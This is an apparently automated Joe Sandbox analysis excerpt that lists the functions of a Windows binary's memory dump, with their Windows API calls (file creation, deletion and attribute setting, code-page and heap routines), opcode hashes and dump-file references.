Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 570e8abdbf8496437edb88e1f92930ffcc24d8318ccce19682bbc9b25832f069
Instruction ID: dd3fcb73990961a4c3a5b94b11a843fcb32a13d77eb14f5ca32d47f84c361602
Opcode Fuzzy Hash: 570e8abdbf8496437edb88e1f92930ffcc24d8318ccce19682bbc9b25832f069
Instruction Fuzzy Hash: 4701D4753042146AEF25AB719C49FEE3689BF09788F041494FA42F60D1EB64DAC287B5

Function 00E2CA53 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00E2CA78

Strings

, xrefs: 00E2CABD

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 6a4cf70c5aa3ae8b1b3f4ea25e3501399b731895f369043698e74a64699b4f4f
Instruction ID: 17f8943002a19ae4a5218732b083c5247076c5e7311cb12d66b1d2776d8b15d1
Opcode Fuzzy Hash: 6a4cf70c5aa3ae8b1b3f4ea25e3501399b731895f369043698e74a64699b4f4f
Instruction Fuzzy Hash: F7413DB150426C5EDF21CE24DC85AFABBF9EB45308F2418EDD58A97142D235AE45CF60

Function 00E2C12C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,62E85006,00000001,?,?), ref: 00E2C19D

Strings

LCMapStringEx, xrefs: 00E2C13D, 00E2C147

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 0db0c2508251a2696f258b8c2d96035a1147184a808f70083595feb0911cc3af
Instruction ID: 40b700fb2b475321a11c286cc7bea7a9318215b3fd30144eeb2b7dcd844b8197
Opcode Fuzzy Hash: 0db0c2508251a2696f258b8c2d96035a1147184a808f70083595feb0911cc3af
Instruction Fuzzy Hash: CA01023250121CBBCF02AF91EC06DEE3FB2EB08750F016116BE1836161CA329971EB80

Function 00E2C0CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00E2B72F), ref: 00E2C115

Strings

InitializeCriticalSectionEx, xrefs: 00E2C0DB, 00E2C0E5

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 6138d7b445790c398ab62149e282797065a8ef182d7095c5062bc8cfc87a1852
Instruction ID: cc5ed888b50f018ffeccae897e9cdc70318271545e34c1f406df8e9a01b2c156
Opcode Fuzzy Hash: 6138d7b445790c398ab62149e282797065a8ef182d7095c5062bc8cfc87a1852
Instruction Fuzzy Hash: 10F0907164222CBB8B019F55DC0A89E7FA1DB28750B005115FD0936161CAB25921EB80

Function 00E2BF6F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00E2BFAE

Strings

FlsAlloc, xrefs: 00E2BF80, 00E2BF8A

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 70160cef4b584c71881566f6bebb2b481dd791e53081cc28c14ac00566e60bfc
Instruction ID: a5e1074159bfea2869b14606b95752e5cd6ec36e63bc6fa38bc14e6c7f1cbcb6
Opcode Fuzzy Hash: 70160cef4b584c71881566f6bebb2b481dd791e53081cc28c14ac00566e60bfc
Instruction Fuzzy Hash: 90E0E53174132C6F96016B65AE0AA7EBFE4CB58B20F02115AFC0976290DF712E159ACA

Function 00E2CDB0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00E2C97B: GetOEMCP.KERNEL32(00000000,?,?,00E2CC04,?), ref: 00E2C9A6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00E2CC49,?,00000000), ref: 00E2CE24
GetCPInfo.KERNEL32(00000000,00E2CC49,?,?,?,00E2CC49,?,00000000), ref: 00E2CE37

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 08bf45076367a7fb9e40b61d62c8dec246909ee7e8a3475de126ed69ba439dc9
Instruction ID: 3d5009864e9aec118119af840484bf9032af616395d1dad929029112cc73440f
Opcode Fuzzy Hash: 08bf45076367a7fb9e40b61d62c8dec246909ee7e8a3475de126ed69ba439dc9
Instruction Fuzzy Hash: 4F515671A002659FEB20CF75E8416BFBBE6EF81308F34616FE096A7152D7359946CB80

Function 00E0ACD4 Relevance: 3.1, APIs: 2, Instructions: 134COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-000018C0,00000000,00000800,?,00E0ACB0,?,?,00000000,?,?,00E09C8B,?), ref: 00E0AE3A
GetLastError.KERNEL32(?,?,00E09C8B,?,?,?,-000018C0,?,-00002908,00000000,-00000880,?,00000000,?,?,00000000), ref: 00E0AE49

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe2b6627e7ec1ac83090b00db5fefaecc09ecafdd6d4104b27279b7e8744b38a
Instruction ID: d5a1f2095a2d89c4eb9a2990cdda89377aa9b2fcfe889087d52661625e06c54d
Opcode Fuzzy Hash: fe2b6627e7ec1ac83090b00db5fefaecc09ecafdd6d4104b27279b7e8744b38a
Instruction Fuzzy Hash: 4641253420434D8BD724AF24C8846AE77E5FB9835EF182639E845A3AD1D771DCC58B53

Function 00E2CBE7 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00E2A515: GetLastError.KERNEL32(?,00E43070,00E25982,00E43070,?,?,00E25281,00000050,?,00E43070,00000200), ref: 00E2A519
Part of subcall function 00E2A515: _free.LIBCMT ref: 00E2A54C
Part of subcall function 00E2A515: SetLastError.KERNEL32(00000000,?,00E43070,00000200), ref: 00E2A58D
Part of subcall function 00E2A515: _abort.LIBCMT ref: 00E2A593

Part of subcall function 00E2CD0E: _abort.LIBCMT ref: 00E2CD40
Part of subcall function 00E2CD0E: _free.LIBCMT ref: 00E2CD74

Part of subcall function 00E2C97B: GetOEMCP.KERNEL32(00000000,?,?,00E2CC04,?), ref: 00E2C9A6

_free.LIBCMT ref: 00E2CC5F
_free.LIBCMT ref: 00E2CC95

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: d61b6c5f490873e7398bfeeda2b6fdbb3d15820315923430f5e8b2298a5828e0
Instruction ID: ecb3d06fb3d863589439a929c1604cc70afadd962e967d746c8db9d73a095311
Opcode Fuzzy Hash: d61b6c5f490873e7398bfeeda2b6fdbb3d15820315923430f5e8b2298a5828e0
Instruction Fuzzy Hash: 2B310871900264AFDB10EF69E482BADB7F5EF41324F3510A9E508BB291EB769D41DB80

Function 00E0B032 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00E07ED0,?,?,?,00000000), ref: 00E0B04C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00E0B100

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 468603e27751246b4d50d42dbbb64d2c3b1c12443dbe1f0e6e2df66db28d7be7
Instruction ID: bcee4baeade12045cd5e2ba713615498c366f1858fcbf8a5599995098856e517
Opcode Fuzzy Hash: 468603e27751246b4d50d42dbbb64d2c3b1c12443dbe1f0e6e2df66db28d7be7
Instruction Fuzzy Hash: 9C21F031248246DFC714CE64C891AABBBE8BF51308F04591CB4E1931D1D32AE98C9B62

Function 00E0A8CE Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00E0B1B7,?,?,00E081FD), ref: 00E0A946
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00E0B1B7,?,?,00E081FD), ref: 00E0A976

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d706d8a900dac94093dd2b3f6143cc0dea37ca64a02fe8ab62529d4599d158e6
Instruction ID: 14b0fe76cbeae331843e120377e0e858b8fd33355ae4b43e2d982fb6e03e0ec2
Opcode Fuzzy Hash: d706d8a900dac94093dd2b3f6143cc0dea37ca64a02fe8ab62529d4599d158e6
Instruction Fuzzy Hash: A92122B12043486EE3308A29DC88FF776DCEB89324F455A28FAD5E21C1C774A8C58672

Function 00E01F30 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E01F35

Part of subcall function 00E042F1: __EH_prolog.LIBCMT ref: 00E042F6

_wcslen.LIBCMT ref: 00E01FDA

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 68d3c3d51092c1fa1974d61076b9e949845f170f619e3875e3f73bcac0541ed4
Instruction ID: 173a17121d68d5e4d75112ef9782028dd66b8a7757c8a749fa0b51fb083f2613
Opcode Fuzzy Hash: 68d3c3d51092c1fa1974d61076b9e949845f170f619e3875e3f73bcac0541ed4
Instruction Fuzzy Hash: A5216B72A04219AFCF16AF99C8519EEFBF6BF48304F10106DF445BB2A2C7755991CB60

Function 00E24D02 Relevance: 3.1, APIs: 2, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00E640C4,?,?,?,00E24EF6,00000004,InitializeCriticalSectionEx,00E37424,InitializeCriticalSectionEx,00000000,?,00E24CAD,00E640C4,00000FA0), ref: 00E24D85
GetProcAddress.KERNEL32(00000000,?), ref: 00E24D8F

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID:
API String ID: 3013587201-0
Opcode ID: 6be3d584f854fbe5dc50e76c0ecf5e9cb3b07b418d3daa54ef3b8429d7d88a45
Instruction ID: 3da3c1dd5505bc2351120d27d02aca4d686536b81656259b582f69657311ce7b
Opcode Fuzzy Hash: 6be3d584f854fbe5dc50e76c0ecf5e9cb3b07b418d3daa54ef3b8429d7d88a45
Instruction Fuzzy Hash: 3B11D3B66015399F8F22CFA5FC809AA33A4FF463547241169E901FB2D0E730DE41CB90

Function 00E0B110 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00E0B157
GetLastError.KERNEL32 ref: 00E0B164

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: e378c78b0494fe779e3b85ddccef68f361e1d6fa04f8a0806aeadd27c3fc4fc2
Instruction ID: 861bc7d72629bb7fc9e91ac38f967a140514dcf2401d97cf20e9fb1f2f9db4f0
Opcode Fuzzy Hash: e378c78b0494fe779e3b85ddccef68f361e1d6fa04f8a0806aeadd27c3fc4fc2
Instruction Fuzzy Hash: 8B110431A01710AFD7298A68DC55BA6B3E9FB44374F605768E192B31D0E770FD85C7A0

Function 00E2A6A4 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E2A6C5

Part of subcall function 00E2A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00E2DBEC,00000000,?,00E280B1,?,00000008,?,00E2A871,?,?,?), ref: 00E2A830

HeapReAlloc.KERNEL32(00000000,?,?,?,?,00E430C4,00E0187A,?,?,00000007,?,?,?,00E013F2,?,00000000), ref: 00E2A701

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: e99c2d155a655d2889515e746f208099fdf07d983a4757fabd6f910f674e46b2
Instruction ID: eaf44abaded2dcc60191390cb708a8c847cac6a983614fb51c98587ab618fc6a
Opcode Fuzzy Hash: e99c2d155a655d2889515e746f208099fdf07d983a4757fabd6f910f674e46b2
Instruction Fuzzy Hash: 3EF09631101635ABDB212A26BC05F6B3BA99F81BF4B1D6036F815B71A1EF24DC40956B

Function 00E123BD Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00E123CA
GetProcessAffinityMask.KERNEL32(00000000), ref: 00E123D1

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 73acefeccac94c2337b44541feb66d6d2cc3f84a9108e86e9787b42ffc79a8fa
Instruction ID: eaa8c00a251d944f8b3d701361f2a14357b5bceb4f656c388b635a17b6d6ce40
Opcode Fuzzy Hash: 73acefeccac94c2337b44541feb66d6d2cc3f84a9108e86e9787b42ffc79a8fa
Instruction Fuzzy Hash: ECE09272B1010AAB8F0987A5AC098EB769DDA542083106179A623F3100E978ED4546A0

Function 00E0B8E6 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00E0B5B5,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B8FA

Part of subcall function 00E0CF32: _wcslen.LIBCMT ref: 00E0CF56

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00E0B5B5,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B92B

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 3b8f3b4bcf461a83a07b2cb102627e3a19da1c098116948d63822c71902628a1
Instruction ID: 4711c8f31e1448607ed8c5a0794ecbcb41097cd6d664fad1d7c496cf0e4e1654
Opcode Fuzzy Hash: 3b8f3b4bcf461a83a07b2cb102627e3a19da1c098116948d63822c71902628a1
Instruction Fuzzy Hash: E9F0A93120820ABBDF115FA1CC04BDA3BACBB047C9F4080A0BA44E61A4DB71ED999A60

Function 00E0B470 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,00000000,?,00E0A438,?,?,?,?,00E0892B,?,?,?,00E3380F,000000FF), ref: 00E0B481

Part of subcall function 00E0CF32: _wcslen.LIBCMT ref: 00E0CF56

DeleteFileW.KERNEL32(?,?,?,00000800,?,00E0A438,?,?,?,?,00E0892B,?,?,?,00E3380F,000000FF), ref: 00E0B4AF

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
